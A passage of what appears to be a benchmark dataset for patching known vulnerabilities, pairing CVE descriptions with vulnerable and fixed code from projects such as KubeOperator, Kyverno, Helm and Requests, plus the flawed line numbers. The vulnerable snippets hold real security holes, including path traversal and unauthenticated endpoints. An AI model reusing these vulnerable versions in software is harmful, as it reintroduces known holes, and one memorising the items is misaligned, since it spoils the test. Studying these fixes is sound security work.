                "id": "vul_js_60_1",
                "commit": "1a0c328921f875720b6268e94747025b3fcd1478",
                "file_path": "middleware/auth.js",
                "start_line": 70,
                "end_line": 144,
                "snippet": "      async (req, res, next) => {\n        next = cb(next).once();\n\n        client =\n          client ||\n          (await getClient(config).catch((err) => {\n            next(err);\n          }));\n\n        if (!client) {\n          return;\n        }\n\n        try {\n          const redirectUri = res.oidc.getRedirectUri();\n\n          let session;\n\n          try {\n            const callbackParams = client.callbackParams(req);\n            const authVerification = transient.getOnce(\n              'auth_verification',\n              req,\n              res\n            );\n\n            const { max_age, code_verifier, nonce, state } = authVerification\n              ? JSON.parse(authVerification)\n              : {};\n\n            req.openidState = decodeState(state);\n            const checks = {\n              max_age,\n              code_verifier,\n              nonce,\n              state,\n            };\n\n            let extras;\n            if (config.tokenEndpointParams) {\n              extras = { exchangeBody: config.tokenEndpointParams };\n            }\n\n            session = await client.callback(\n              redirectUri,\n              callbackParams,\n              checks,\n              extras\n            );\n          } catch (err) {\n            throw createError.BadRequest(err.message);\n          }\n\n          if (config.afterCallback) {\n            session = await config.afterCallback(\n              req,\n              res,\n              Object.assign({}, session), // Remove non-enumerable methods from the TokenSet\n              req.openidState\n            );\n          }\n\n          Object.assign(req[config.session.name], session);\n          attemptSilentLogin.resumeSilentLogin(req, res);\n\n          next();\n        } catch (err) {\n          // Swallow errors if this is a silentLogin\n          if (req.openidState && req.openidState.attemptingSilentLogin) {\n            next();\n          } else {\n            next(err);\n          }\n        }\n      },",
                "vul_localization": [
                    {
                        "patch_lines": [
                            65
                        ],
                        "tag": "add"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_js_60_1",
                "commit": "5ab67ff2bd84f76674066b5e129b43ab5f2f430f",
                "file_path": "middleware/auth.js",
                "start_line": 71,
                "end_line": 164,
                "snippet": "      async (req, res, next) => {\n        next = cb(next).once();\n\n        client =\n          client ||\n          (await getClient(config).catch((err) => {\n            next(err);\n          }));\n\n        if (!client) {\n          return;\n        }\n\n        try {\n          const redirectUri = res.oidc.getRedirectUri();\n\n          let tokenSet;\n\n          try {\n            const callbackParams = client.callbackParams(req);\n            const authVerification = transient.getOnce(\n              'auth_verification',\n              req,\n              res\n            );\n\n            const { max_age, code_verifier, nonce, state } = authVerification\n              ? JSON.parse(authVerification)\n              : {};\n\n            req.openidState = decodeState(state);\n            const checks = {\n              max_age,\n              code_verifier,\n              nonce,\n              state,\n            };\n\n            let extras;\n            if (config.tokenEndpointParams) {\n              extras = { exchangeBody: config.tokenEndpointParams };\n            }\n\n            tokenSet = await client.callback(\n              redirectUri,\n              callbackParams,\n              checks,\n              extras\n            );\n          } catch (err) {\n            throw createError.BadRequest(err.message);\n          }\n\n          let session = Object.assign({}, tokenSet); // Remove non-enumerable methods from the TokenSet\n\n          if (config.afterCallback) {\n            session = await config.afterCallback(\n              req,\n              res,\n              session,\n              req.openidState\n            );\n          }\n\n          if (req.oidc.isAuthenticated()) {\n            if (req.oidc.user.sub === tokenSet.claims().sub) {\n              // If it's the same user logging in again, just update the existing session.\n              Object.assign(req[config.session.name], session);\n            } else {\n              // If it's a different user, replace the session to remove any custom user\n              // properties on the session\n              replaceSession(req, session, config);\n              // And regenerate the session id so the previous user wont know the new user's session id\n              regenerateSessionStoreId(req, config);\n            }\n          } else {\n            // If a new user is replacing an anonymous session, update the existing session to keep\n            // any anonymous session state (eg. checkout basket)\n            Object.assign(req[config.session.name], session);\n            // But update the session store id so a previous anonymous user wont know the new user's session id\n            regenerateSessionStoreId(req, config);\n          }\n          attemptSilentLogin.resumeSilentLogin(req, res);\n\n          next();\n        } catch (err) {\n          // Swallow errors if this is a silentLogin\n          if (req.openidState && req.openidState.attemptingSilentLogin) {\n            next();\n          } else {\n            next(err);\n          }\n        }\n      },"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2021-41246"
    },
    {
        "cve_id": "CVE-2023-22480",
        "cve_description": "KubeOperator is an open source Kubernetes distribution focused on helping enterprises plan, deploy and operate production-level K8s clusters. In KubeOperator versions 3.16.3 and below, API interfaces with unauthorized entities and can leak sensitive information. This vulnerability could be used to take over the cluster under certain conditions. This issue has been patched in version 3.16.4.",
        "cwe_info": {
            "CWE-285": {
                "name": "Improper Authorization",
                "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."
            },
            "CWE-863": {
                "name": "Incorrect Authorization",
                "description": "The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check."
            },
            "CWE-250": {
                "name": "Execution with Unnecessary Privileges",
                "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."
            },
            "CWE-269": {
                "name": "Improper Privilege Management",
                "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."
            }
        },
        "repo": "https://github.com/KubeOperator/KubeOperator",
        "patch_url": [
            "https://github.com/KubeOperator/KubeOperator/commit/7ef42bf1c16900d13e6376f8be5ecdbfdfb44aaf"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_54_1",
                "commit": "8205703",
                "file_path": "pkg/router/v1/v1api.go",
                "start_line": 20,
                "end_line": 74,
                "snippet": "func V1(parent iris.Party) {\n\tv1 := parent.Party(\"/v1\")\n\tauthParty := v1.Party(\"/auth\")\n\tmvc.New(authParty.Party(\"/session\")).HandleError(ErrorHandler).Handle(controller.NewSessionController())\n\tmvc.New(v1.Party(\"/user\")).HandleError(ErrorHandler).Handle(controller.NewForgotPasswordController())\n\tAuthScope = v1.Party(\"/\")\n\tAuthScope.Use(middleware.JWTMiddleware().Serve)\n\tAuthScope.Use(middleware.UserMiddleware)\n\tAuthScope.Use(middleware.RBACMiddleware())\n\tAuthScope.Use(middleware.PagerMiddleware)\n\tAuthScope.Use(middleware.ForceMiddleware)\n\tmvc.New(AuthScope.Party(\"/clusters\")).HandleError(ErrorHandler).Handle(controller.NewClusterController())\n\tmvc.New(AuthScope.Party(\"/credentials\")).HandleError(ErrorHandler).Handle(controller.NewCredentialController())\n\tmvc.New(AuthScope.Party(\"/hosts\")).HandleError(ErrorHandler).Handle(controller.NewHostController())\n\tmvc.New(AuthScope.Party(\"/users\")).HandleError(ErrorHandler).Handle(controller.NewUserController())\n\tmvc.New(AuthScope.Party(\"/dashboard\")).HandleError(ErrorHandler).Handle(controller.NewKubePiController())\n\tmvc.New(AuthScope.Party(\"/regions\")).HandleError(ErrorHandler).Handle(controller.NewRegionController())\n\tmvc.New(AuthScope.Party(\"/zones\")).HandleError(ErrorHandler).Handle(controller.NewZoneController())\n\tmvc.New(AuthScope.Party(\"/plans\")).HandleError(ErrorHandler).Handle(controller.NewPlanController())\n\tmvc.New(AuthScope.Party(\"/settings\")).HandleError(ErrorHandler).Handle(controller.NewSystemSettingController())\n\tmvc.New(AuthScope.Party(\"/ntp\")).HandleError(ErrorHandler).Handle(controller.NewNtpServerController())\n\tmvc.New(AuthScope.Party(\"/logs\")).HandleError(ErrorHandler).Handle(controller.NewSystemLogController())\n\tmvc.New(AuthScope.Party(\"/projects\")).HandleError(ErrorHandler).Handle(controller.NewProjectController())\n\tmvc.New(AuthScope.Party(\"/clusters/provisioner\")).HandleError(ErrorHandler).Handle(controller.NewProvisionerController())\n\tmvc.New(AuthScope.Party(\"/kubernetes\")).HandleError(ErrorHandler).Handle(controller.NewKubernetesController())\n\tmvc.New(AuthScope.Party(\"/clusters/tool\")).HandleError(ErrorHandler).Handle(controller.NewClusterToolController())\n\tmvc.New(AuthScope.Party(\"/backupaccounts\")).HandleError(ErrorHandler).Handle(controller.NewBackupAccountController())\n\tmvc.New(AuthScope.Party(\"/clusters/backup\")).HandleError(ErrorHandler).Handle(controller.NewClusterBackupStrategyController())\n\tmvc.New(AuthScope.Party(\"/clusters/monitor\")).HandleError(ErrorHandler).Handle(controller.NewMonitorController())\n\tmvc.New(AuthScope.Party(\"/tasks\")).Handle(ErrorHandler).Handle(controller.NewTaskLogController())\n\tmvc.New(AuthScope.Party(\"/components\")).Handle(ErrorHandler).Handle(controller.NewComponentController())\n\tmvc.New(AuthScope.Party(\"/license\")).Handle(ErrorHandler).Handle(controller.NewLicenseController())\n\tmvc.New(AuthScope.Party(\"/clusters/backup/files\")).HandleError(ErrorHandler).Handle(controller.NewClusterBackupFileController())\n\tmvc.New(AuthScope.Party(\"/clusters/velero/{cluster}/{operate}\")).HandleError(ErrorHandler).Handle(controller.NewClusterVeleroBackupController())\n\tmvc.New(AuthScope.Party(\"/manifests\")).HandleError(ErrorHandler).Handle(controller.NewManifestController())\n\tmvc.New(AuthScope.Party(\"/vmconfigs\")).HandleError(ErrorHandler).Handle(controller.NewVmConfigController())\n\tmvc.New(AuthScope.Party(\"/ippools\")).HandleError(ErrorHandler).Handle(controller.NewIpPoolController())\n\tmvc.New(AuthScope.Party(\"/ippools/{name}/ips\")).HandleError(ErrorHandler).Handle(controller.NewIpController())\n\tmvc.New(AuthScope.Party(\"/projects/{project}/resources\")).HandleError(ErrorHandler).Handle(controller.NewProjectResourceController())\n\tmvc.New(AuthScope.Party(\"/projects/{project}/members\")).HandleError(ErrorHandler).Handle(controller.NewProjectMemberController())\n\tmvc.New(AuthScope.Party(\"/projects/{project}/clusters/{cluster}/members\")).HandleError(ErrorHandler).Handle(controller.NewClusterMemberController())\n\tmvc.New(AuthScope.Party(\"/projects/{project}/clusters/{cluster}/resources\")).HandleError(ErrorHandler).Handle(controller.NewClusterResourceController())\n\tmvc.New(AuthScope.Party(\"/templates\")).HandleError(ErrorHandler).Handle(controller.NewTemplateConfigController())\n\tmvc.New(AuthScope.Party(\"/clusters/grade\")).HandleError(ErrorHandler).Handle(controller.NewGradeController())\n\tmvc.New(AuthScope.Party(\"/ldap\")).HandleError(ErrorHandler).Handle(controller.NewLdapController())\n\tmvc.New(AuthScope.Party(\"/msg/accounts\")).HandleError(ErrorHandler).Handle(controller.NewMessageAccountController())\n\tmvc.New(AuthScope.Party(\"/msg/subscribes\")).HandleError(ErrorHandler).Handle(controller.NewMessageSubscribeController())\n\tmvc.New(AuthScope.Party(\"/user/messages\")).HandleError(ErrorHandler).Handle(controller.NewUserMsgController())\n\tmvc.New(AuthScope.Party(\"/user/settings\")).HandleError(ErrorHandler).Handle(controller.NewUserSettingController())\n\tWhiteScope = v1.Party(\"/\")\n\tWhiteScope.Get(\"/clusters/kubeconfig/{name}\", downloadKubeconfig)\n\tWhiteScope.Get(\"/captcha\", generateCaptcha)\n\tmvc.New(WhiteScope.Party(\"/theme\")).HandleError(ErrorHandler).Handle(controller.NewThemeController())\n\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            51
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_54_1",
                "commit": "7ef42bf1c16900d13e6376f8be5ecdbfdfb44aaf",
                "file_path": "pkg/router/v1/v1api.go",
                "start_line": 20,
                "end_line": 74,
                "snippet": "func V1(parent iris.Party) {\n\tv1 := parent.Party(\"/v1\")\n\tauthParty := v1.Party(\"/auth\")\n\tmvc.New(authParty.Party(\"/session\")).HandleError(ErrorHandler).Handle(controller.NewSessionController())\n\tmvc.New(v1.Party(\"/user\")).HandleError(ErrorHandler).Handle(controller.NewForgotPasswordController())\n\tAuthScope = v1.Party(\"/\")\n\tAuthScope.Use(middleware.JWTMiddleware().Serve)\n\tAuthScope.Use(middleware.UserMiddleware)\n\tAuthScope.Use(middleware.RBACMiddleware())\n\tAuthScope.Use(middleware.PagerMiddleware)\n\tAuthScope.Use(middleware.ForceMiddleware)\n\tmvc.New(AuthScope.Party(\"/clusters\")).HandleError(ErrorHandler).Handle(controller.NewClusterController())\n\tmvc.New(AuthScope.Party(\"/credentials\")).HandleError(ErrorHandler).Handle(controller.NewCredentialController())\n\tmvc.New(AuthScope.Party(\"/hosts\")).HandleError(ErrorHandler).Handle(controller.NewHostController())\n\tmvc.New(AuthScope.Party(\"/users\")).HandleError(ErrorHandler).Handle(controller.NewUserController())\n\tmvc.New(AuthScope.Party(\"/dashboard\")).HandleError(ErrorHandler).Handle(controller.NewKubePiController())\n\tmvc.New(AuthScope.Party(\"/regions\")).HandleError(ErrorHandler).Handle(controller.NewRegionController())\n\tmvc.New(AuthScope.Party(\"/zones\")).HandleError(ErrorHandler).Handle(controller.NewZoneController())\n\tmvc.New(AuthScope.Party(\"/plans\")).HandleError(ErrorHandler).Handle(controller.NewPlanController())\n\tmvc.New(AuthScope.Party(\"/settings\")).HandleError(ErrorHandler).Handle(controller.NewSystemSettingController())\n\tmvc.New(AuthScope.Party(\"/ntp\")).HandleError(ErrorHandler).Handle(controller.NewNtpServerController())\n\tmvc.New(AuthScope.Party(\"/logs\")).HandleError(ErrorHandler).Handle(controller.NewSystemLogController())\n\tmvc.New(AuthScope.Party(\"/projects\")).HandleError(ErrorHandler).Handle(controller.NewProjectController())\n\tmvc.New(AuthScope.Party(\"/clusters/provisioner\")).HandleError(ErrorHandler).Handle(controller.NewProvisionerController())\n\tmvc.New(AuthScope.Party(\"/kubernetes\")).HandleError(ErrorHandler).Handle(controller.NewKubernetesController())\n\tmvc.New(AuthScope.Party(\"/clusters/tool\")).HandleError(ErrorHandler).Handle(controller.NewClusterToolController())\n\tmvc.New(AuthScope.Party(\"/backupaccounts\")).HandleError(ErrorHandler).Handle(controller.NewBackupAccountController())\n\tmvc.New(AuthScope.Party(\"/clusters/backup\")).HandleError(ErrorHandler).Handle(controller.NewClusterBackupStrategyController())\n\tmvc.New(AuthScope.Party(\"/clusters/monitor\")).HandleError(ErrorHandler).Handle(controller.NewMonitorController())\n\tmvc.New(AuthScope.Party(\"/tasks\")).Handle(ErrorHandler).Handle(controller.NewTaskLogController())\n\tmvc.New(AuthScope.Party(\"/components\")).Handle(ErrorHandler).Handle(controller.NewComponentController())\n\tmvc.New(AuthScope.Party(\"/license\")).Handle(ErrorHandler).Handle(controller.NewLicenseController())\n\tmvc.New(AuthScope.Party(\"/clusters/backup/files\")).HandleError(ErrorHandler).Handle(controller.NewClusterBackupFileController())\n\tmvc.New(AuthScope.Party(\"/clusters/velero/{cluster}/{operate}\")).HandleError(ErrorHandler).Handle(controller.NewClusterVeleroBackupController())\n\tmvc.New(AuthScope.Party(\"/manifests\")).HandleError(ErrorHandler).Handle(controller.NewManifestController())\n\tmvc.New(AuthScope.Party(\"/vmconfigs\")).HandleError(ErrorHandler).Handle(controller.NewVmConfigController())\n\tmvc.New(AuthScope.Party(\"/ippools\")).HandleError(ErrorHandler).Handle(controller.NewIpPoolController())\n\tmvc.New(AuthScope.Party(\"/ippools/{name}/ips\")).HandleError(ErrorHandler).Handle(controller.NewIpController())\n\tmvc.New(AuthScope.Party(\"/projects/{project}/resources\")).HandleError(ErrorHandler).Handle(controller.NewProjectResourceController())\n\tmvc.New(AuthScope.Party(\"/projects/{project}/members\")).HandleError(ErrorHandler).Handle(controller.NewProjectMemberController())\n\tmvc.New(AuthScope.Party(\"/projects/{project}/clusters/{cluster}/members\")).HandleError(ErrorHandler).Handle(controller.NewClusterMemberController())\n\tmvc.New(AuthScope.Party(\"/projects/{project}/clusters/{cluster}/resources\")).HandleError(ErrorHandler).Handle(controller.NewClusterResourceController())\n\tmvc.New(AuthScope.Party(\"/templates\")).HandleError(ErrorHandler).Handle(controller.NewTemplateConfigController())\n\tmvc.New(AuthScope.Party(\"/clusters/grade\")).HandleError(ErrorHandler).Handle(controller.NewGradeController())\n\tmvc.New(AuthScope.Party(\"/ldap\")).HandleError(ErrorHandler).Handle(controller.NewLdapController())\n\tmvc.New(AuthScope.Party(\"/msg/accounts\")).HandleError(ErrorHandler).Handle(controller.NewMessageAccountController())\n\tmvc.New(AuthScope.Party(\"/msg/subscribes\")).HandleError(ErrorHandler).Handle(controller.NewMessageSubscribeController())\n\tmvc.New(AuthScope.Party(\"/user/messages\")).HandleError(ErrorHandler).Handle(controller.NewUserMsgController())\n\tmvc.New(AuthScope.Party(\"/user/settings\")).HandleError(ErrorHandler).Handle(controller.NewUserSettingController())\n\tAuthScope.Get(\"/clusters/kubeconfig/{name}\", downloadKubeconfig)\n\tWhiteScope = v1.Party(\"/\")\n\tWhiteScope.Get(\"/captcha\", generateCaptcha)\n\tmvc.New(WhiteScope.Party(\"/theme\")).HandleError(ErrorHandler).Handle(controller.NewThemeController())\n\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2023-22480"
    },
    {
        "cve_id": "CVE-2025-29778",
        "cve_description": "Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to version 1.14.0-alpha.1, Kyverno ignores subjectRegExp and IssuerRegExp while verifying artifact's sign with keyless mode. It allows the attacker to deploy kubernetes resources with the artifacts that were signed by unexpected certificate. Deploying these unauthorized kubernetes resources can lead to full compromise of kubernetes cluster. Version 1.14.0-alpha.1 contains a patch for the issue.",
        "cwe_info": {
            "CWE-285": {
                "name": "Improper Authorization",
                "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."
            }
        },
        "repo": "https://github.com/kyverno/kyverno",
        "patch_url": [
            "https://github.com/kyverno/kyverno/commit/8777672"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_44_1",
                "commit": "5f42a0b",
                "file_path": "pkg/cosign/cosign.go",
                "start_line": 536,
                "end_line": 566,
                "snippet": "func matchSignatures(signatures []oci.Signature, subject, subjectRegExp, issuer, issuerRegExp string, extensions map[string]string) error {\n\tif subject == \"\" && issuer == \"\" && len(extensions) == 0 {\n\t\treturn nil\n\t}\n\n\tvar errs []error\n\tfor _, sig := range signatures {\n\t\tcert, err := sig.Cert()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"failed to read certificate: %w\", err)\n\t\t}\n\n\t\tif cert == nil {\n\t\t\treturn fmt.Errorf(\"certificate not found\")\n\t\t}\n\n\t\tif err := matchCertificateData(cert, subject, subjectRegExp, issuer, issuerRegExp, extensions); err != nil {\n\t\t\terrs = append(errs, err)\n\t\t} else {\n\t\t\t// only one signature certificate needs to match the required subject, issuer, and extensions\n\t\t\treturn nil\n\t\t}\n\t}\n\n\tif len(errs) > 0 {\n\t\terr := multierr.Combine(errs...)\n\t\treturn err\n\t}\n\n\treturn fmt.Errorf(\"invalid signature\")\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            2
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_44_1",
                "commit": "8777672",
                "file_path": "pkg/cosign/cosign.go",
                "start_line": 536,
                "end_line": 539,
                "snippet": "func matchSignatures(signatures []oci.Signature, subject, subjectRegExp, issuer, issuerRegExp string, extensions map[string]string) error {\n\tif subject == \"\" && issuer == \"\" && subjectRegExp == \"\" && issuerRegExp == \"\" && len(extensions) == 0 {\n\t\treturn nil\n\t}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2025-29778"
    },
    {
        "cve_id": "CVE-2020-4053",
        "cve_description": "In Helm greater than or equal to 3.0.0 and less than 3.2.4, a path traversal attack is possible when installing Helm plugins from a tar archive over HTTP. It is possible for a malicious plugin author to inject a relative path into a plugin archive, and copy a file outside of the intended directory. This has been fixed in 3.2.4.",
        "cwe_info": {
            "CWE-73": {
                "name": "External Control of File Name or Path",
                "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."
            },
            "CWE-22": {
                "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')",
                "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."
            }
        },
        "repo": "https://github.com/helm/helm",
        "patch_url": [
            "https://github.com/helm/helm/commit/0ad800ef43d3b826f31a5ad8dfbb4fe05d143688",
            "https://github.com/helm/helm/commit/b6bbe4f08bbb98eadd6c9cd726b08a5c639908b3"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_36_1",
                "commit": "8f83204",
                "file_path": "pkg/plugin/installer/http_installer.go",
                "start_line": 154,
                "end_line": 198,
                "snippet": "func (g *TarGzExtractor) Extract(buffer *bytes.Buffer, targetDir string) error {\n\tuncompressedStream, err := gzip.NewReader(buffer)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif err := os.MkdirAll(targetDir, 0755); err != nil {\n\t\treturn err\n\t}\n\n\ttarReader := tar.NewReader(uncompressedStream)\n\tfor {\n\t\theader, err := tarReader.Next()\n\t\tif err == io.EOF {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tpath := filepath.Join(targetDir, header.Name)\n\n\t\tswitch header.Typeflag {\n\t\tcase tar.TypeDir:\n\t\t\tif err := os.Mkdir(path, 0755); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\tcase tar.TypeReg:\n\t\t\toutFile, err := os.OpenFile(path, os.O_CREATE|os.O_RDWR, os.FileMode(header.Mode))\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif _, err := io.Copy(outFile, tarReader); err != nil {\n\t\t\t\toutFile.Close()\n\t\t\t\treturn err\n\t\t\t}\n\t\t\toutFile.Close()\n\t\t// We don't want to process these extension header files.\n\t\tcase tar.TypeXGlobalHeader, tar.TypeXHeader:\n\t\t\tcontinue\n\t\tdefault:\n\t\t\treturn errors.Errorf(\"unknown type: %b in %s\", header.Typeflag, header.Name)\n\t\t}\n\t}\n\treturn nil",
                "vul_localization": [
                    {
                        "patch_lines": [
                            21
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_36_1",
                "commit": "0ad800e",
                "file_path": "pkg/plugin/installer/http_installer.go",
                "start_line": 171,
                "end_line": 255,
                "snippet": "func cleanJoin(root, dest string) (string, error) {\n\n\t// On Windows, this is a drive separator. On UNIX-like, this is the path list separator.\n\t// In neither case do we want to trust a TAR that contains these.\n\tif strings.Contains(dest, \":\") {\n\t\treturn \"\", errors.New(\"path contains ':', which is illegal\")\n\t}\n\n\t// The Go tar library does not convert separators for us.\n\t// We assume here, as we do elsewhere, that `\\\\` means a Windows path.\n\tdest = strings.ReplaceAll(dest, \"\\\\\", \"/\")\n\n\t// We want to alert the user that something bad was attempted. Cleaning it\n\t// is not a good practice.\n\tfor _, part := range strings.Split(dest, \"/\") {\n\t\tif part == \"..\" {\n\t\t\treturn \"\", errors.New(\"path contains '..', which is illegal\")\n\t\t}\n\t}\n\n\t// If a path is absolute, the creator of the TAR is doing something shady.\n\tif path.IsAbs(dest) {\n\t\treturn \"\", errors.New(\"path is absolute, which is illegal\")\n\t}\n\n\t// SecureJoin will do some cleaning, as well as some rudimentary checking of symlinks.\n\tnewpath, err := securejoin.SecureJoin(root, dest)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn filepath.ToSlash(newpath), nil\n}\n\n// Extract extracts compressed archives\n//\n// Implements Extractor.\nfunc (g *TarGzExtractor) Extract(buffer *bytes.Buffer, targetDir string) error {\n\tuncompressedStream, err := gzip.NewReader(buffer)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif err := os.MkdirAll(targetDir, 0755); err != nil {\n\t\treturn err\n\t}\n\n\ttarReader := tar.NewReader(uncompressedStream)\n\tfor {\n\t\theader, err := tarReader.Next()\n\t\tif err == io.EOF {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tpath, err := cleanJoin(targetDir, header.Name)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tswitch header.Typeflag {\n\t\tcase tar.TypeDir:\n\t\t\tif err := os.Mkdir(path, 0755); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\tcase tar.TypeReg:\n\t\t\toutFile, err := os.OpenFile(path, os.O_CREATE|os.O_RDWR, os.FileMode(header.Mode))\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif _, err := io.Copy(outFile, tarReader); err != nil {\n\t\t\t\toutFile.Close()\n\t\t\t\treturn err\n\t\t\t}\n\t\t\toutFile.Close()\n\t\t// We don't want to process these extension header files.\n\t\tcase tar.TypeXGlobalHeader, tar.TypeXHeader:\n\t\t\tcontinue\n\t\tdefault:\n\t\t\treturn errors.Errorf(\"unknown type: %b in %s\", header.Typeflag, header.Name)\n\t\t}\n\t}\n\treturn nil"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2020-4053"
    },
    {
        "cve_id": "CVE-2018-18074",
        "cve_description": "The Requests package before 2.20.0 for Python sends an HTTP Authorization header to an http URI upon receiving a same-hostname https-to-http redirect, which makes it easier for remote attackers to discover credentials by sniffing the network.",
        "cwe_info": {
            "CWE-522": {
                "name": "Insufficiently Protected Credentials",
                "description": "The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval."
            }
        },
        "repo": "https://github.com/requests/requests",
        "patch_url": [
            "https://github.com/requests/requests/commit/c45d7c49ea75133e52ab22a8e9e13173938e36ff"
        ],
        "programing_language": "Python",
        "vul_func": [
            {
                "id": "vul_py_38_1",
                "commit": "dd754d1",
                "file_path": "requests/sessions.py",
                "start_line": 231,
                "end_line": 253,
                "snippet": "    def rebuild_auth(self, prepared_request, response):\n        \"\"\"When being redirected we may want to strip authentication from the\n        request to avoid leaking credentials. This method intelligently removes\n        and reapplies authentication where possible to avoid credential loss.\n        \"\"\"\n        headers = prepared_request.headers\n        url = prepared_request.url\n\n        if 'Authorization' in headers:\n            # If we get redirected to a new host, we should strip out any\n            # authentication headers.\n            original_parsed = urlparse(response.request.url)\n            redirect_parsed = urlparse(url)\n\n            if (original_parsed.hostname != redirect_parsed.hostname):\n                del headers['Authorization']\n\n        # .netrc might have more auth for us on our new host.\n        new_auth = get_netrc_auth(url) if self.trust_env else None\n        if new_auth is not None:\n            prepared_request.prepare_auth(new_auth)\n\n        return",
                "vul_localization": [
                    {
                        "patch_lines": [
                            9,
                            12,
                            13,
                            14,
                            15,
                            16
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_py_38_1",
                "commit": "c45d7c49ea75133e52ab22a8e9e13173938e36ff",
                "file_path": "requests/sessions.py",
                "start_line": 247,
                "end_line": 265,
                "snippet": "    def rebuild_auth(self, prepared_request, response):\n        \"\"\"When being redirected we may want to strip authentication from the\n        request to avoid leaking credentials. This method intelligently removes\n        and reapplies authentication where possible to avoid credential loss.\n        \"\"\"\n        headers = prepared_request.headers\n        url = prepared_request.url\n\n        if 'Authorization' in headers and self.should_strip_auth(response.request.url, url):\n            # If we get redirected to a new host, we should strip out any\n            # authentication headers.\n            del headers['Authorization']\n\n        # .netrc might have more auth for us on our new host.\n        new_auth = get_netrc_auth(url) if self.trust_env else None\n        if new_auth is not None:\n            prepared_request.prepare_auth(new_auth)\n\n        return"
            },
            {
                "id": "fix_py_38_2",
                "commit": "c45d7c49ea75133e52ab22a8e9e13173938e36ff",
                "file_path": "requests/sessions.py",
                "start_line": 118,
                "end_line": 133,
                "snippet": "    def should_strip_auth(self, old_url, new_url):\n        \"\"\"Decide whether Authorization header should be removed when redirecting\"\"\"\n        old_parsed = urlparse(old_url)\n        new_parsed = urlparse(new_url)\n        if old_parsed.hostname != new_parsed.hostname:\n            return True\n        # Special case: allow http -> https redirect when using the standard\n        # ports. This isn't specified by RFC 7235, but is kept to avoid\n        # breaking backwards compatibility with older versions of requests\n        # that allowed any redirects on the same host.\n        if (old_parsed.scheme == 'http' and old_parsed.port in (80, None)\n                and new_parsed.scheme == 'https' and new_parsed.port in (443, None)):\n            return False\n        # Standard case: root URI must match\n        return old_parsed.port != new_parsed.port or old_parsed.scheme != new_parsed.scheme\n"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2018-18074"
    },
    {
        "cve_id": "CVE-2024-52309",
        "cve_description": "SFTPGo's EventManager allows administrators to configure command actions that run operating system commands when events occur. In the vulnerable behavior, an authenticated administrator who can access the WebAdmin or management API can configure arbitrary system commands as EventManager actions, even when those commands have not been explicitly approved by the system operator. This gives that administrator a path to execute commands on the host or container with the privileges of the SFTPGo process, which may be broader than the access they expect to have through the SFTPGo administration interface.",
        "cwe_info": {
            "CWE-20": {
                "name": "Improper Input Validation",
                "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."
            }
        },
        "repo": "https://github.com/drakkan/sftpgo",
        "patch_url": [
            "https://github.com/drakkan/sftpgo/commit/88b1850b5806eee81150873d4e565144b21021fb"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_78_1",
                "commit": "60558de72847f4af473028f11340c0a96f162da2",
                "file_path": "internal/common/common.go",
                "start_line": 179,
                "end_line": 252,
